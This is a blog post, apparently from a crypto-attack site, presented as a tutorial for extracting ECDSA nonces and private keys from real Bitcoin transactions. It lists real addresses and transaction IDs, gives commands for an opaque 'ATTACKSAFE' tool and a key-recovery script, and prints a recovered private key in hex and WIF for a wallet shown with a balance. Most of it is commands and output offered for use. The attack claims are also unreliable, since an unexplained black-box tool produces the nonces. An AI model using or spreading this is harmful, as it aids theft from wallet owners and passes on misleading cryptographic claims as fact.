Friday, October 14, 2022

Implement Frey-Rück Attack to get the secret key “K” (NONCE)

 CRYPTO DEEP TECH

In this article, we implement an efficient Frey-Rück Attack algorithm for signing ECDSAa transaction on the Bitcoin blockchain. In our earlier posts, we touched on the topic of signature vulnerability several times ECDSA. With a critical vulnerability in the Bitcoin blockchain transaction, we can solve the rather difficult discrete logarithm problem to extract the ECDSA secret key"K" (NONCE) from the vulnerable signature in order to ultimately restore the Bitcoin Wallet, since knowing the secret key we can get the private key.

To do this, there are several algorithms from the list of popular attacks on Bitcoin , one of which is “Frey-Rück Attack on Bitcoin” .

Implement Frey-Rück Attack to get the secret key "K" (NONCE)

www.attacksafe.ru/frey-ruck-attack-on-bitcoin

We will not dive into the theoretical aspects of this attack, we will go straight to the experimental part.

From our practice, we know that there are a lot of vulnerable and weak transactions in the Bitcoin blockchain, and in the process of our cryptanalysis, we found a lot of Bitcoin Addresses, where a large number of signatures ECDSAwere made with the disclosure of the secret key "K" (NONCE).

Consider five Bitcoin Addresses:

16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

Each Bitcoin Address made two critical vulnerable transactions:

16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

https://btc.exan.tech/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72

https://btc.exan.tech/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128

Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

https://btc.exan.tech/tx/fed0b3472341788b58798d6a124a4d0c66c86535ae5f640cb7e5ba0e175665fb

https://btc.exan.tech/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393

Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

https://btc.exan.tech/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4

https://btc.exan.tech/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6

Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

https://btc.exan.tech/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542

https://btc.exan.tech/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af

Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac

https://btc.exan.tech/tx/492955688cff583fa5b6677bcb9a90a3010925f7e2204fd464e0e7183a6954db

https://btc.exan.tech/tx/e3dfc0d3b61972d04446214481d8e54623e5e0f2aaf26d7bc01fe5081249b4ea

Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

Disclosure of the secret key “K” (NONCE) in the Bitcoin blockchain

Open  [TerminalGoogleColab] .

Implementing an efficient Frey-Rück Attack algorithm with our 14FreyRuckAttack repository

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/14FreyRuckAttack/

ls
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

Install all the packages we need

Implement Frey-Rück Attack to get the secret key "K" (NONCE)
requirements.txt
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt
Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

Prepare RawTX for the attack

16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

https://btc.exan.tech/tx/a575ef45375f85d6d3c010dae01df1479e2e0c5b870b80ee757fc2522057db72

Implement Frey-Rück Attack to get the secret key "K" (NONCE)
RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Now we need to get all R, S, Z values ​​from all vulnerable transactions

Let’s use the breakECDSA.py script

python2 breakECDSA.py 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Implement Frey-Rück Attack to get the secret key "K" (NONCE)
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8

To implement the attack and get the secret key, we will use the “ATTACKSAFE SOFTWARE” software

Implement Frey-Rück Attack to get the secret key "K" (NONCE)
www.attacksafe.ru/software

Access rights:

chmod +x attacksafe
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

Application:

./attacksafe -help
Implement Frey-Rück Attack to get the secret key "K" (NONCE)
  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode
./attacksafe -version
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

"ATTACKSAFE SOFTWARE"includes all popular attacks on Bitcoin.

Let’s run a list of all attacks:

./attacksafe -list
Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

then choose -tool: frey_ruck_attack

To get the secret key from a vulnerable ECDSA signing transaction, let’s add the data RawTXto a text document and save it as a fileRawTX.txt

0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Launch -tool frey_ruck_attackusing software“ATTACKSAFE SOFTWARE”

./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

We launched this attack from -tool frey_ruck_attackand the result was saved to a fileSecretKey.txt

Now to see the successful result, open the fileSecretKey.txt

cat SecretKey.txt
Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Deployments ECDSA:

SecretKey = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

RawTX = 0100000001599b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a4730440220061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

We see an inscription "Deployments ECDSA"that means a critical vulnerability in the Bitcoin blockchain transaction.

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

Let’s check with a Python scriptpoint2gen.py

To do this, install the ECPy elliptic curve library :

pip3 install ECPy
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

Now let’s run the script by specifying secret key "K" (NONCE):

python3 point2gen.py 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

(0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)

Checking the coordinates of a point EC (secp256k1) with a signature valueR

R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8
R          =    0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
point2gen  =   (0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)

ALL CORRECT!

K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3

Now knowing the secret key, we can get the private key to the Bitcoin Wallet:16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

Let’s use the Python script: calculate.py > > > Get the Private Key

Let’s open the code and add all the value of the signaturesK, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8


print (h((((S * K) - Z) * modinv(R,N)) % N))

The script will calculate the private key using the formula:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Let’s run the script:

python3 calculate.py
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

Let’s open bitaddress and check:

ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF:  KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX:  4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

Private Key Found!

Implementing the Frey-Rück Attack to get the secret key "K" (NONCE) from the ECDSA signature when the bitcoin blockchain transaction is critically vulnerable
www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

BALANCE: $ 711.37

The potential threat of losing BTC coins lies in the critical vulnerability of the Bitcoin blockchain transaction, so we strongly recommend that everyone always update the software and use only verified devices.

With detailed cryptanalysis, we also found a critical vulnerability in 81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128 for the same Bitcoin Address TXID:

Prepare RawTX for the attack

16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

https://btc.exan.tech/tx/81384edbf408aa501814582663386ae25819c7b14c89d69e36250059f2399128

Implement Frey-Rück Attack to get the secret key "K" (NONCE)
RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Now we need to get all R, S, Z values ​​from all vulnerable transactions

Let’s use the breakECDSA.py script

python2 breakECDSA.py 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000
Implement Frey-Rück Attack to get the secret key "K" (NONCE)
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de

To get the secret key from a vulnerable ECDSA signing transaction, let’s add the data RawTXto a text document and save it as a fileRawTX.txt

01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

Launch -tool frey_ruck_attackusing software“ATTACKSAFE SOFTWARE”

./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

We launched this attack from -tool frey_ruck_attackand the result was saved to a fileSecretKey.txt

Now to see the successful result, open the fileSecretKey.txt

cat SecretKey.txt
Implement Frey-Rück Attack to get the secret key "K" (NONCE)
Deployments ECDSA:

SecretKey = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f741120000006b483045022003af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff010000000000000000046a02585800000000

We see an inscription "Deployments ECDSA"that means a critical vulnerability in the Bitcoin blockchain transaction.

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

Let’s check with a Python scriptpoint2gen.py

Let’s use the ECPy elliptic curve library :

Now let’s run the script by specifying secret key "K" (NONCE):

python3 point2gen.py 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

(0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)

Checking the coordinates of a point EC (secp256k1) with a signature valueR

R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de
R          =    0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
point2gen  =   (0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc5330988769558c09d36bf12ce2a9d369fc)

ALL CORRECT!

K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226

Now knowing the secret key, we can get the private key to the Bitcoin Wallet:16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

Let’s use  the Python script:  calculate.py > > > Get the Private Key

Let’s open the code and add all the value of the signaturesK, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de


print (h((((S * K) - Z) * modinv(R,N)) % N))

The script will calculate the private key using the formula:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Let’s run the script:

python3 calculate.py
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766

Let’s open bitaddress and check:

ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF:  KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX:  4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766
Implement Frey-Rück Attack to get the secret key "K" (NONCE)

https://www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

Private Key Found!

Implement Frey-Rück Attack to get the secret key "K" (NONCE)
www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG

BALANCE: $ 711.37

Source

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Video tutorial: https://youtu.be/wqHES7r1qyc

Source: https://cryptodeeptech.ru/frey-ruck-attack

Implement Frey-Rück Attack to get the secret key "K" (NONCE)

  Cryptanalysis


at

No comments:

Post a Comment

Subscribe to: Post Comments (Atom)

Phantom Curve Attack: How the Pollard–Kangaroo Algorithm Exposes Private Keys of Lost Bitcoin Wallets via Low-Entropy Nonces under Exponential Degradation of the Secret Key Parameter “K”

  Crypto Deep Tech This paper provides a comprehensive cryptanalysis of the   Dark Skippy  attack , a specialized implementation of a fundam...